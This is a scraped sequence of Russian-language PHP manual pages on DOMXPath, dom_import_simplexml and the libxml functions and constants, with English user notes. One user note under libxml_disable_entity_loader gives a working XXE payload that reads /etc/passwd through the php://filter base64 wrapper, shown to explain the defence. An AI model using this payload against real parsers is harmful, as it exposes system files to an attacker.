Note that if your DOMDocument was loaded from HTML, where element and attribute names are case-insensitive, the DOM parser converts them all to lower-case, so your XPath queries will have to as well; '//A/@HREF' won't find anything even if the original HTML contained "<A HREF='example.com'>".
nicolas_rainardNOSPAM at yahoo dot fr 10-Jul-2007 02:04
Please note that what clochix says is valid for *any* document which has a default namespace (as it is the case for XHTML).

This document :

<?xml version="1.0" encoding="UTF-8" ?>

<root xmlns="http://www.exemple.org/namespace">

    <element id="1">
    ...
    </element>

    <element id="2">
    ...
    </element>

</element>

must be accessed this way :

$document = new DOMDocument();
$document->load('document.xml');

$xpath = new DOMXPath($document);
$xpath->registerNameSpace('fakeprefix', 'http://www.exemple.org/namespace');

$elements = $xpath->query('//fakeprefix:element');

Of course, there is no prefix in the original document, but the DOMXPath class *needs* one, whatever it is, if you use a default namespace. It *doesn't work* if you specify an empty prefix like this :

$xpath->registerNameSpace('', 'http://www.exemple.org/namespace');

Hope this help to spare some time...
clochix at clochix dot net 01-Mar-2007 04:05
If you want to perform queries on XHTML documents, you must fix a default namespace:

<?php
$doc = new DOMDocument;
$doc->preserveWhiteSpace = true;
$doc->resolveExternals = true; // for character entities
$doc->load("http://www.w3.org/");
$xpath = new DOMXPath($doc);
// won't work
$entries = $xpath->query("//div");
// you should use :
$xpath->registerNamespace("html", "http://www.w3.org/1999/xhtml");
$entries = $xpath->query("//html:div");
?>
jakob dot voss at nichtich dot de 14-Nov-2005 12:33
You can transform the result nodes into new DOMDocument objects this way:

<?php
$result = $xpath->query($query);
$resultNode = $result->item(0);
$newDom = new DOMDocument;
$newDom->appendChild($newDom->importNode($resultNode,1));

print "<pre>" . htmlspecialchars($newDom->saveXML()) . "</pre>";
?>
Eric Hanson 12-Jul-2005 05:40
Two great XPath references follow.

XPath in Five Paragraphs (finally!):
http://www.rpbourret.com/xml/XPathIn5.htm

The w3c spec actually has a bunch of helpful examples:
http://www.w3.org/TR/xpath#location-paths


Регистрирует пространство имён с объектом DOMXPath

  • « DOMXPath::query
  • DOMXPath::registerPhpFunctions »
  • PHP Manual
  • DOMXPath
  • Регистрирует пространство имён с объектом DOMXPath

DOMXPath::registerNamespace

(PHP 5, PHP 7, PHP 8)

DOMXPath::registerNamespace — Регистрирует пространство имён с объектом DOMXPath

Описание

public DOMXPath::registerNamespace(string $prefix, string $namespace): bool

Регистрирует URI пространства имён namespace и префикс prefix с объектом DOMXPath.

Список параметров

prefix

Префикс.

namespace

URI пространства имён.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

igor dot pellegrini at diespam-berlinonline dot de 10-Mar-2015 07:32
The documentation is not really detailed.
Probably someone is also interested in the possibility of unregistering the namespace.

Worths to note that the original libxml function "xmlXPathRegisterNs()"

* Does NOT accept NULL or empty string for the argument "$prefix".

   and

* Unregisters the namespace if the "$namespaceURI" argument is NULL.

Here the documentation:
http://xmlsoft.org/html/libxml-xpathInternals.html#xmlXPathRegisterNs
xmedeko at gmail dot com 20-Sep-2011 04:58
A general way to register the root default namespace:

<?php
$xml = new DomDocument();
$xml->load('data.xml');
$xpath = new DOMXPath($xml);
$rootNamespace = $xml->lookupNamespaceUri($xml->namespaceURI);
$xpath->registerNamespace('x', $rootNamespace);
?>

And then just query:

<?php $elementList = $xpath->query('//x:items/x:name'); ?>
dulao5 at gmail dot com 16-Jun-2009 12:01
The following code can work for XML default namespace.
<?php
$xml = <<<EOT
<?xml version="1.0" encoding="UTF-8"?>
<entry xmlns="http://www.w3.org/2005/Atom" xmlns:other="http://other.w3.org/other" >
        <id>uYG7-sPwjFg</id>
        <published>2009-05-17T18:29:31.000Z</published>
</entry>
EOT;

$doc = new DOMDocument;
$doc->loadXML($xml);
$xpath =  DOMXPath($doc);

$xpath->registerNamespace('atom', "http://www.w3.org/2005/Atom");

$xpath_str = '//atom:entry/atom:published/text()';

$entries = $xpath->evaluate($xpath_str);

print $entries->item(0)->nodeValue ."\n";

?>
agent009 31-Mar-2009 04:55
Ok, here's a function that extends XPath syntax with the following special characters:

~ inserts default namespace prefix if defined

# shorthand for text()

% shorthand for comment()

$ shorthand for node()

?* shorthand for processing-instruction()

?foo shorthand for processing-instruction("foo")

? shorthand for processing-instruction("")

^ escapes following character (with literal or SGML entity as needed)

All of the above except ^ are ignored within quoted strings

<?php
function extendXPath($str, $defns = NULL) {
   $quote = false;
   $map = array(
      '~' => isset($defns) ? "$defns:" : '',
      '#' => 'text()',
      '%' => 'comment()',
      '$' => 'node()'
   );
   $out = '';

   for ($i = 0, $len = strlen($str); $i < $len; $i++) {
      $c = $str[$i];
      if (!$quote && array_key_exists($c, $map)) {
         $out .= $map[$c];
      } else switch ($c) {
         case '^':
            $out .= htmlspecialchars($str[++$i], ENT_QUOTES);
            break;
         case '?':
            if ($quote) {
               $out .= $c;
            } elseif ($str[$i + 1] == '*') {
               $out .= 'processing-instruction()';
               $i++;
            } else {
               preg_match('/^\w+/', substr($str, $i + 1), $matches);
               $out .= 'processing-instruction("'.$matches[0].'")';
               $i += strlen($matches[0]);
            };
            break;
         case '"':
            $quote = !$quote;
         default:
            $out .= $c;
      };
   };

   return $out;
}
?>
cameron kellough 14-Apr-2007 10:33
This is called prefix mapping and it is necessary to use xpath to handle documents which have default namespaces. //root/item will search for items with no namespace, not items with the namespace described as the default in the xmlns declaration.  This problem is maddening as it just looks on the surface like xpath isn't working.
spam at spam dot spam 31-Mar-2005 12:46
It is mentioned in a few places on the web, but it wasn't mentioned here. You need to use this function to set up a prefix for the default namespace of a document.

For instance, if you are trying to parse a Microsoft Spreadsheet XML file, which has the default namespace of "urn:schemas-microsoft-com:office:spreadsheet":

$doc = DOMDocument::load("my_spreadsheet.xml);
$xpath = new DOMXPath($doc);
$xpath->registerNamespace("m",
        "urn:schemas-microsoft-com:office:spreadsheet");
$query = '/m:Workbook/m:Worksheet[1]/m:Table';
$result = $xpath->query($query, $doc);

You can use anything in place of the 'm', but you have to specify something! Just asking for "/Workbook/Worksheet/Table" doesn't work.


Регистрация PHP-функций как функций XPath

  • « DOMXPath::registerNamespace
  • Функции DOM »
  • PHP Manual
  • DOMXPath
  • Регистрация PHP-функций как функций XPath

DOMXPath::registerPhpFunctions

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DOMXPath::registerPhpFunctions — Регистрация PHP-функций как функций XPath

Описание

public DOMXPath::registerPhpFunctions(string|array|null $restrict = null): void

Этот метод позволяет использовать PHP-функции в выражениях XPath.

Список параметров

restrict

Используйте этот параметр, чтобы разрешить использование только определённых функций в выражениях XPath.

Этот параметр может иметь тип string (имя функции) или array (массив имён функций).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

В следующих примерах используется файл book.xml, который содержит следующее:

Пример #1 book.xml

<?xml version="1.0" encoding="UTF-8"?>
<books>
 <book>
  <title>PHP Basics</title>
  <author>Jim Smith</author>
  <author>Jane Smith</author>
 </book>
 <book>
  <title>PHP Secrets</title>
  <author>Jenny Smythe</author>
 </book>
 <book>
  <title>XML basics</title>
  <author>Joe Black</author>
 </book>
</books>

Пример #2 DOMXPath::registerPHPFunctions() с php:functionString

<?php
$doc = new DOMDocument;
$doc->load('book.xml');

$xpath = new DOMXPath($doc);

// Регистрация PHP: пространство имён (обязательно)
$xpath->registerNamespace("php", "http://php.net/xpath");

// Регистрация функций PHP (без ограничений)
$xpath->registerPHPFunctions();

// Вызов функции substr для названия книги
$nodes = $xpath->query('//book[php:functionString("substr", title, 0, 3) = "PHP"]');

echo "Найдены {$nodes->length} книги, начинающиеся с 'PHP':\n";
foreach ($nodes as $node) {
$title = $node->getElementsByTagName("title")->item(0)->nodeValue;
$author = $node->getElementsByTagName("author")->item(0)->nodeValue;
echo "$title автора $author\n";
}

?>

Вывод приведённого примера будет похож на:

Найдены 2 книги, начинающиеся с 'PHP':
PHP Basics автора Jim Smith
PHP Secrets автора Jenny Smythe

Пример #3 DOMXPath::registerPHPFunctions() с php:function

<?php
$doc = new DOMDocument;
$doc->load('book.xml');

$xpath = new DOMXPath($doc);

// Регистрация PHP: пространство имён (обязательно)
$xpath->registerNamespace("php", "http://php.net/xpath");

// Регистрация PHP-функций (только has_multiple)
$xpath->registerPHPFunctions("has_multiple");

function has_multiple($nodes) {
// Возвращает true, если более одного автора
return count($nodes) > 1;
}
// Фильтр книг с двумя и более авторами
$books = $xpath->query('//book[php:function("has_multiple", author)]');

echo "Книги с двумя и более авторами:\n";
foreach ($books as $book) {
echo $book->getElementsByTagName("title")->item(0)->nodeValue . "\n";
}

?>

Вывод приведённого примера будет похож на:

Книги с двумя и более авторами:
PHP Basics

Смотрите также

  • DOMXPath::registerNamespace() - Регистрирует пространство имён с объектом DOMXPath
  • DOMXPath::query() - Выполняет заданное выражение XPath
  • DOMXPath::evaluate() - Вычисляет переданное выражение XPath и возвращает типизированный результат, если возможно

User Contributed Notes

There are no user contributed notes for this page.


Функции DOM

Содержание

  • dom_import_simplexml — Получает объект класса DOMElement из объекта класса SimpleXMLElement

User Contributed Notes

There are no user contributed notes for this page.


Получает объект класса DOMElement из объекта класса SimpleXMLElement

  • « Функции DOM
  • libxml »
  • PHP Manual
  • Функции DOM
  • Получает объект класса DOMElement из объекта класса SimpleXMLElement

dom_import_simplexml

(PHP 5, PHP 7, PHP 8)

dom_import_simplexml — Получает объект класса DOMElement из объекта класса SimpleXMLElement

Описание

dom_import_simplexml(object $node): DOMElement

Эта функция берет узел node класса SimpleXML и превращает его в узел DOMElement. Затем этот новый объект может быть использован как собственный узел DOMElement.

Список параметров

node

Узел SimpleXMLElement.

Возвращаемые значения

Добавленный узел DOMElement.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает null в случае возникновения ошибки.

Примеры

Пример #1 Импорт SimpleXML в DOM с помощью функции dom_import_simplexml()

<?php

$sxe = simplexml_load_string('<books><book><title>чепуха</title></book></books>');

if ($sxe === false) {
echo 'Ошибка при разборе документа';
exit;
}

$dom_sxe = dom_import_simplexml($sxe);
if (!$dom_sxe) {
echo 'Ошибка при преобразовании XML';
exit;
}

$dom = new DOMDocument('1.0');
$dom_sxe = $dom->importNode($dom_sxe, true);
$dom_sxe = $dom->appendChild($dom_sxe);

echo $dom->saveXML();

?>

Смотрите также

  • simplexml_import_dom() - Получает объект класса SimpleXMLElement из узла DOM

User Contributed Notes

h4ss4n3 at hyj4z1 dot me 08-Sep-2020 08:08
//No need to initiate, import and append on example#1

(...)
$dom_sxe = dom_import_simplexml($sxe);
if (!$dom_sxe) {
    echo 'Erreur lors de la conversion du XML';
    exit;
}

//$dom = new DOMDocument('1.0');
//$dom_sxe = $dom->importNode($dom_sxe, true);
//$dom_sxe = $dom->appendChild($dom_sxe);

//use ownerDocument propertie
echo $dom->ownerDocument->saveXML();

?>
biniou at yopmail dot com 20-May-2016 09:58
Very useful to add a CDATA node with SimpleXMLElement (use it like addChild) :

<?php
class My_SimpleXMLElement extends SimpleXMLElement {

    public function addChildWithCData($name, $value = NULL) {
        $new_child = $this->addChild($name);

        $node = dom_import_simplexml($new_child);
        $no = $node->ownerDocument;
        $node->appendChild($no->createCDATASection($value));

        return $new_child;
    }
}
Jeff M 06-Mar-2009 01:09
SimpleXML is an 'Object Mapping XML API'. It is not DOM, per se. SimpleXML converts the XML elements into PHP's native data types.

The dom_import_simplexml and simplexml_import_dom functions do *not* create separate copies of the original object. You are free to use the methods of either or both interchangeably, since the underlying instance is the same.

<?php
    // initialize a simplexml object
    $sxe = simplexml_load_string('<root/>');

    // get a dom interface on the simplexml object
    $dom = dom_import_simplexml($sxe);

    // dom adds a new element under the root
    $element = $dom->appendChild(new DOMElement('dom_element'));

    // dom adds an attribute on the new element
    $element->setAttribute('creator', 'dom');

    // simplexml adds an attribute on the dom element
    $sxe->dom_element['sxe_attribute'] = 'added by simplexml';

    // simplexml adds a new element under the root
    $element = $sxe->addChild('sxe_element');

    // simplexml adds an attribute on the new element
    $element['creator'] = 'simplexml';

    // dom finds the simplexml element (via DOMNodeList->index)
    $element = $dom->getElementsByTagName('sxe_element')->item(0);

    // dom adds an attribute on the simplexml element
    $element->setAttribute('dom_attribute', 'added by dom');

    echo ('<pre>');
    print_r($sxe);
    echo ('</pre>');
?>

Outputs:

SimpleXMLElement Object
(
    [dom_element] => SimpleXMLElement Object
        (
            [@attributes] => Array
                (
                    [creator] => dom
                    [sxe_attribute] => added by simplexml
                )

        )

    [sxe_element] => SimpleXMLElement Object
        (
            [@attributes] => Array
                (
                    [creator] => simplexml
                    [dom_attribute] => added by dom
                )

        )

)

What this illustrates is that both interfaces are operating on the same underlying object instance. Also, when you dom_import_simplexml, you can create and add new elements without reference to an ownerDocument (or documentElement).

So passing a SimpleXMLElement to another method does not mean the recipient is limited to using SimpleXML methods.

Hey Presto! Your telescope has become a pair of binoculars!
crescentfreshpot at yahoo dot com 12-Dec-2007 12:22
justinpatrin at php dot net:
> To get a proper DOM document (which you need to do most things) you need...

No you don't. Just do:
<?php
$dom = dom_import_simplexml($xml)->ownerDocument;
?>
justinpatrin at php dot net 01-Jun-2006 09:44
I've found that newer versions of PHP5 require some special syntax in order to properly convert between SimpleXML and DOM. It's not as easy as calling dom_import_simplexml() with a SimpleXML node. To get a proper DOM document (which you need to do most things) you need:
<?php
//$xml is a SimpleXML instance
$domnode = dom_import_simplexml($xml);
$dom = new DOMDocument();
$domnode = $dom->importNode($domnode, true);
$dom->appendChild($domnode);
?>

Switching back, though, is, well...simple.

<?php
//$dom is a DOMDocument instance
$xml = simplexml_import_dom($dom);
?>


libxml

  • Введение
  • Установка и настройка
    • Требования
    • Установка для PHP >= 7.4
    • Установка для PHP < 7.4
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • LibXMLError — Класс LibXMLError
  • Функции libxml
    • libxml_clear_errors — Очистка буфера ошибок libxml
    • libxml_disable_entity_loader — Отключение возможности загрузки сущностей из внешних источников
    • libxml_get_errors — Получение массива произошедших ошибок
    • libxml_get_external_entity_loader — Получает текущий внешний загрузчик сущностей
    • libxml_get_last_error — Извлечение последней ошибки из libxml
    • libxml_set_external_entity_loader — Изменение загрузчика по умолчанию для внешних объектов
    • libxml_set_streams_context — Установка контекста потоков для следующей загрузки или записи документа посредством libxml
    • libxml_use_internal_errors — Отключение ошибок libxml и передача полномочий по выборке и обработке информации об ошибках пользователю

User Contributed Notes

There are no user contributed notes for this page.


Введение

Эти функции/константы доступны, начиная с PHP 5.1.0, следующие модули ядра полагаются на модуль libxml: DOM, libxml, SimpleXML, SOAP, WDDX, XSL, XML, XMLReader, XMLRPC и XMLWriter.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка для PHP >= 7.4
  • Установка для PHP < 7.4
  • Настройка во время выполнения
  • Типы ресурсов

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для работы этого модуля требуется библиотека » libxml >= 2.9.0 с PHP 8.0, или libxml >= 2.6.0 до PHP 8.0.

User Contributed Notes

There are no user contributed notes for this page.


Установка для PHP >= 7.4

Модуль libxml включён по умолчанию, но может быть отключён при указании директивы --without-libxml.

PHP использует утилиту pkg-config для выбора правильного файла библиотеки, заголовочных файлов и флагов компиляции для работы с модулем libxml2. Чтобы убедиться, что выбрана желаемая версия модуля libxml2, можно перед запуском сценария настройки через переменную окружения PKG_CONFIG_PATH указать утилите pkg-config путь для поиска нужной версии модуля:

PKG_CONFIG_PATH="/path/to/libxml2/prefix/lib/pkgconfig:/lib/pkgconfig"

User Contributed Notes

mansourjabin at gmail dot com 06-Nov-2023 05:35
Critical Note: In PHP 7.4, an issue presents itself when interfacing with libxml version 2.10.2. If you're deploying PHP 7.4 and wish to maintain operational stability, ensure that libxml is aligned to version 2.9.10. This version has been verified to work seamlessly with PHP 7.4, thereby preventing potential conflicts.
KiralyCraft 19-Sep-2022 05:51
Please note that this option does not seem to work for PHP 8.1.10 anymore.


Установка для PHP < 7.4

Модуль libxml включён по умолчанию, но может быть отключён посредством директивы --disable-libxml.

Необязательная директива --with-libxml-dir используется для задания расположения модуля libxml в системах, на которых PHP скомпилирован, если директива не используется, поиск будет производиться только по стандартным путям. Процесс configure производит поиск libxml (особенно, xml2-config) по путям в следующем порядке:

  1. Расположение ([DIR]), указанное с помощью директивы --with-libxml-dir ([DIR]=/bin/xml2-config)

  2. /usr/local/bin/xml2-config

  3. /usr/bin/xml2-config

Если configure не найдёт xml2-config в директории, заданной директивой --with-libxml-dir, он продолжит поиск по стандартным путям.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

LIBXML_BIGLINES (int)
Позволяет корректно сообщать о номерах строк больше 65535.

Замечание:

Доступно начиная с PHP 7.0.0 с Libxml >= 2.9.0

LIBXML_COMPACT (int)
Активирует оптимизацию выделения памяти для небольших узлов. Это может повысить быстродействие приложения без внесения изменений в коде.

Замечание:

Доступна только в Libxml >= 2.6.21

LIBXML_DTDATTR (int)
DTD-атрибуты по умолчанию
LIBXML_DTDLOAD (int)
Загрузка внешнего подмножества
LIBXML_DTDVALID (int)
Проверка корректности документа с помощью DTD
Предостережение

Включение проверки DTD может способствовать атакам XML External Entity (XXE).

LIBXML_HTML_NOIMPLIED (int)
Устанавливает флаг HTML_PARSE_NOIMPLIED, который отключает автоматическое добавление недостающих html/body... элементов.

Замечание:

Доступно только в Libxml >= 2.7.7 (начиная с PHP >= 5.4.0)

LIBXML_HTML_NODEFDTD (int)
Устанавливает флаг HTML_PARSE_NODEFDTD, который предотвращает добавление стандартного doctype, если он не был найден.

Замечание:

Доступно только в Libxml >= 2.7.8 (начиная с >= 5.4.0)

LIBXML_NOBLANKS (int)
Удаление пустых узлов
LIBXML_NOCDATA (int)
Объединить CDATA как текстовые узлы
LIBXML_NOEMPTYTAG (int)
Разворачивать пустые теги (например, <br/> в <br></br>)

Замечание:

Эта настройка доступна на данный момент только в функциях DOMDocument::save и DOMDocument::saveXML.

LIBXML_NOENT (int)
Замещение сущностей
Предостережение

Включение замещения объекта может облегчить атаки на внешний объект XML (XXE).

LIBXML_NOERROR (int)
Запретить отчёты об ошибках
LIBXML_NONET (int)
Отключить доступ к сети во время загрузки документов
LIBXML_NOWARNING (int)
Запретить предупреждения
LIBXML_NOXMLDECL (int)
Убрать объявление XML при сохранении документа

Замечание:

Доступна только в Libxml >= 2.6.21

LIBXML_NSCLEAN (int)
Удалить лишние объявления пространств имён
LIBXML_PARSEHUGE (int)
Установить флаг XML_PARSE_HUGE, который отключает жёстко заданный лимит в парсере. Это затрагивает как лимиты максимальной глубины документа или рекурсии элементов, так и лимиты размеров текстовых элементов.

Замечание:

Доступно только в Libxml >= 2.7.0 (начиная с PHP >= 5.3.2 и PHP >= 5.2.12)

LIBXML_PEDANTIC (int)
Устанавливает флаг XML_PARSE_PEDANTIC, который включает педантичный отчёт об ошибках.

Замечание:

Доступно с PHP >= 5.4.0

LIBXML_XINCLUDE (int)
Реализовать замещение XInclude
LIBXML_ERR_ERROR (int)
Устранимая ошибка
LIBXML_ERR_FATAL (int)
Фатальная ошибка
LIBXML_ERR_NONE (int)
Нет ошибок
LIBXML_ERR_WARNING (int)
Простое предупреждение
LIBXML_VERSION (int)
Версия libxml в виде 20605 или 20617
LIBXML_DOTTED_VERSION (string)
Версия libxml в виде 2.6.5 или 2.6.17
LIBXML_SCHEMA_CREATE (int)
Создаёт со значением по умолчанию или фиксированные узлы при проверке схемы XSD

Замечание:

Доступно только в Libxml >= 2.6.14 (в PHP >= 5.5.2)

User Contributed Notes

Ismael Miguel 07-Jul-2023 10:53
If you want to save without the XML declaration, and LIBXML_NOXMLDECL doesn't work for you, you can just do this:

<?php
$doc = new \DOMDocument('1.0', 'UTF-8');
$doc->loadXML($xml, LIBXML_*);

echo $doc->saveXML($doc->firstElementChild);
?>

This will output the XML without the XML declaration and without using the flag.
You also don't need to do fiddly replacements and pray that it works.
siraic at gmail dot com 24-Mar-2021 12:10
The name of the constant LIBXML_NOENT is very misleading. Adding this flag actually causes the parser to load and insert the external entities. Omitting it leaves the tags untouched, which is probably what you want.
vetalstar at mail dot ru 16-Nov-2017 12:26
LIBXML_DOTTED_VERSION option doesn't work.
libxml version: 2.9.4

<?php

echo LIBXML_DOTTED_VERSION;
$xml = new SimpleXMLElement('<fasa_request id="1234567"/>', LIBXML_NOXMLDECL);

?>
@oneseventeen 05-Feb-2011 11:51
When inserting XML DOM Elements inside existing XML DOM Elements that I loaded from an XML file using the following code, none of my new elements were formatted correctly, they just showed up on one line:

<?php
$dom = DOMDocument::load('file.xml');
$dom->formatOutput = true;
//$dom->add some new elements with child nodes somewhere inside the loaded XML using insertBefore();
$dom->saveXML();
//output: everything looks normal but the new nodes are all on one line.
?>

I found I could pass LIBXML_NOBLANKS to the load method and it would reformat the whole document, including my added stuff:
<?php
$dom = DOMDocument::load('file.xml', LIBXML_NOBLANKS);
$dom->formatOutput = true;
//$dom->add some new elements with child nodes somewhere inside the loaded XML using insertBefore();
$dom->saveXML();
//output: everything looks newly formatted, including new nodes
?>

Hope this helps, took me hours of trial and error to figure this out!
zachatwork at gmail dot com 09-Feb-2010 11:30
Note: The LIBXML_NOXMLDECL constant is defined in this library but is not supported by DOMDocument (yet).

See also: http://bugs.php.net/bug.php?id=47137

<?php

print "PHP_VERSION:      ".PHP_VERSION."\n";
print "LIBXML_VERSION:   ".LIBXML_VERSION."\n";
print "LIBXML_NOXMLDECL: ".LIBXML_NOXMLDECL."\n";

$dom = new DomDocument();
$dom->loadXML("<foo />");

# This should work but doesn't.

print "DOMDocument doesn't honor LIBXML_NOXMLDECL:\n";
print $dom->saveXML(null,LIBXML_NOXMLDECL);

# This works, and will still work after the above is fixed.

print "Forwards compatible workaround:\n";
$lines = explode("\n", $dom->saveXML(null, LIBXML_NOXMLDECL), 2);
if(!preg_match('/^\<\?xml/', $lines[0]))
    print $lines[0];
print $lines[1];

?>

PHP_VERSION:      5.3.1-0.dotdeb.1
LIBXML_VERSION:   20632
LIBXML_NOXMLDECL: 2
DOMDocument doesn't honor LIBXML_NOXMLDECL:
<?xml version="1.0"?>
<foo/>
Forwards compatible workaround:
<foo/>


Класс LibXMLError

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Содержит информацию об ошибках, которые выдаёт модуль libxml. Коды ошибок описаны в официальной » документации xmlError API.

Обзор классов

class LibXMLError {
/* Свойства */
public int $level;
public int $code;
public int $column;
public string $message;
public string $file;
public int $line;
}

Свойства

level

Важность ошибки (одна из следующих констант: LIBXML_ERR_WARNING, LIBXML_ERR_ERROR или LIBXML_ERR_FATAL)

code

Код ошибки

column

Столбец, в котором произошла ошибка.

Замечание:

Это свойство реализовано в libxml не до конца, поэтому в большинстве случаев будет возвращаться 0.

message

Сообщение об ошибке, если есть.

file

Имя файла либо пустая строка, если XML загружался из строки.

line

Строка, в которой произошла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Функции libxml

Содержание

  • libxml_clear_errors — Очистка буфера ошибок libxml
  • libxml_disable_entity_loader — Отключение возможности загрузки сущностей из внешних источников
  • libxml_get_errors — Получение массива произошедших ошибок
  • libxml_get_external_entity_loader — Получает текущий внешний загрузчик сущностей
  • libxml_get_last_error — Извлечение последней ошибки из libxml
  • libxml_set_external_entity_loader — Изменение загрузчика по умолчанию для внешних объектов
  • libxml_set_streams_context — Установка контекста потоков для следующей загрузки или записи документа посредством libxml
  • libxml_use_internal_errors — Отключение ошибок libxml и передача полномочий по выборке и обработке информации об ошибках пользователю

User Contributed Notes

There are no user contributed notes for this page.


Очистка буфера ошибок libxml

  • « Функции libxml
  • libxml_disable_entity_loader »
  • PHP Manual
  • Функции libxml
  • Очистка буфера ошибок libxml

libxml_clear_errors

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

libxml_clear_errors — Очистка буфера ошибок libxml

Описание

libxml_clear_errors(): void

libxml_clear_errors() очищает буфер ошибок libxml.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • libxml_get_errors() - Получение массива произошедших ошибок
  • libxml_get_last_error() - Извлечение последней ошибки из libxml

User Contributed Notes

There are no user contributed notes for this page.


Отключение возможности загрузки сущностей из внешних источников

  • « libxml_clear_errors
  • libxml_get_errors »
  • PHP Manual
  • Функции libxml
  • Отключение возможности загрузки сущностей из внешних источников

libxml_disable_entity_loader

(PHP 5 >= 5.2.11, PHP 7, PHP 8)

libxml_disable_entity_loader — Отключение возможности загрузки сущностей из внешних источников

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

libxml_disable_entity_loader(bool $disable = true): bool

Отключение/включение возможности загружать внешние сущности. Обратите внимание, что отключение загрузки внешних сущностей может вызвать общие проблемы с загрузкой XML-документов. Однако в libxml 2.9.0 подстановка сущностей отключена по умолчанию, поэтому нет необходимости отключать загрузку внешних сущностей, если нет необходимости разрешать ссылки на внутренние сущности с помощью LIBXML_NOENT. Как правило, лучше использовать libxml_set_external_entity_loader() для подавления загрузки внешних сущностей.

Список параметров

disable

Отключение (true) или включение (false) модулей libxml (таких как DOM, XMLWriter и XMLReader) для загрузки внешних сущностей.

Возвращаемые значения

Возвращает предыдущее значение.

Смотрите также

  • libxml_use_internal_errors() - Отключение ошибок libxml и передача полномочий по выборке и обработке информации об ошибках пользователю
  • libxml_set_external_entity_loader() - Изменение загрузчика по умолчанию для внешних объектов
  • Константа LIBXML_NOENT

User Contributed Notes

editor at geekkb.com 27-Apr-2023 02:46
There is an extra \ should be deleted before PHP_VERSION_ID in the code which suconghou posted 2 years ago.

if (PHP_VERSION_ID < 80000) {
    libxml_disable_entity_loader(true);
}
suconghou at gmail dot com 07-Jan-2021 10:27
In PHP 8.0 and later, PHP uses libxml versions from 2.9.0, libxml_disable_entity_loader is deprecated.
so it is now safe to remove all `libxml_disable_entity_loader` calls on php8

if you want Backwards Compatibility

use this snippet

if (\PHP_VERSION_ID < 80000) {
    libxml_disable_entity_loader(true);
}
vavra at 602 dot cz 04-Jan-2018 09:48
If is called
libxml_disable_entity_loader(true);

, it causes that new SoapClient(.) fails with

SOAP-ERROR: Parsing WSDL: Couldn't load from 'D:\path/dm_operations.wsdl' : failed to load external entity "D:\path/dm_operations.wsdl

because this wsdl imports a xsd as an another external file.
Tested on php 7.1.12, win x64.
brendan at bloodbone dot ws 25-Mar-2014 10:23
This also seems to have an impact on <xsl:import /> statements if this is applied when loading XSLT for the XSLTProcessor class.
phofstetter at sensational dot ch 27-Jan-2014 04:36
Be mindful that this also disables url loading in simplexml_load_file() and likely other libxml based functions that deal with URLs
daschtour at me dot com 25-Dec-2013 11:56
This function was reported to be not thread safe. So this might affect php-scripts on the same server.
simonsimcity 29-Feb-2012 06:23
Using this function you can prevent a vulnerable to Local and Remote File Inclusion attacks.

You'll see it in an example where I load and validate the following string:

<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<scan>&test;</scan>

One way to prevent that the file in given back is to set this value to 0.
Please take a closer look at the release of symfony 2.0.11


Получение массива произошедших ошибок

  • « libxml_disable_entity_loader
  • libxml_get_external_entity_loader »
  • PHP Manual
  • Функции libxml
  • Получение массива произошедших ошибок

libxml_get_errors

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

libxml_get_errors — Получение массива произошедших ошибок

Описание

libxml_get_errors(): array

Получение массива произошедших ошибок.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив объектов LibXMLError, если в буфере есть ошибки, либо пустой массив в противном случае.

Примеры

Пример #1 Пример использования libxml_get_errors()

Этот пример демонстрирует, как создать простой обработчик ошибок libxml.

<?php

libxml_use_internal_errors(true);

$xmlstr = <<< XML
<?xml version='1.0' standalone='yes'?>
<movies>
<movie>
<titles>PHP: Behind the Parser</title>
</movie>
</movies>
XML;

$doc = simplexml_load_string($xmlstr);
$xml = explode("\n", $xmlstr);

if ($doc === false) {
$errors = libxml_get_errors();

foreach ($errors as $error) {
echo display_xml_error($error, $xml);
}

libxml_clear_errors();
}

function display_xml_error($error, $xml)
{
$return = $xml[$error->line - 1] . "\n";
$return .= str_repeat('-', $error->column) . "^\n";

switch ($error->level) {
case LIBXML_ERR_WARNING:
$return .= "Warning $error->code: ";
break;
case LIBXML_ERR_ERROR:
$return .= "Error $error->code: ";
break;
case LIBXML_ERR_FATAL:
$return .= "Fatal Error $error->code: ";
break;
}

$return .= trim($error->message) .
"\n Line: $error->line" .
"\n Column: $error->column";

if ($error->file) {
$return .= "\n File: $error->file";
}

return "$return\n\n--------------------------------------------\n\n";
}

?>

Результат выполнения приведённого примера:

<titles>PHP: Behind the Parser</title>
----------------------------------------------^
Fatal Error 76: Opening and ending tag mismatch: titles line 4 and title
  Line: 4
  Column: 46

--------------------------------------------

Смотрите также

  • libxml_get_last_error() - Извлечение последней ошибки из libxml
  • libxml_clear_errors() - Очистка буфера ошибок libxml

User Contributed Notes

lech 29-Jul-2017 12:12
Please beware that the column property seems almost always to be invalid. I thought it only occurred when the line in question was long (and I was just about to submit a bug report with an example), however, at the time of posting, you can even see the problem in the example provided on this page: line 4 does not even have 46 characters. Where the XML line is long, the difference can be very large.

This property comes from the libxml extension, so in any case I don't think this is a PHP bug, however it is worth knowing that the value might be totally unreliable to save some confusion.

The PHP documentation page for the libXMLError class gives some indication, stating:

"This property isn't entirely implemented in libxml and therefore 0 is often returned."

(My libxml version: 2.9.1)


Получает текущий внешний загрузчик сущностей

  • « libxml_get_errors
  • libxml_get_last_error »
  • PHP Manual
  • Функции libxml
  • Получает текущий внешний загрузчик сущностей

libxml_get_external_entity_loader

(PHP 8 >= 8.2.0)

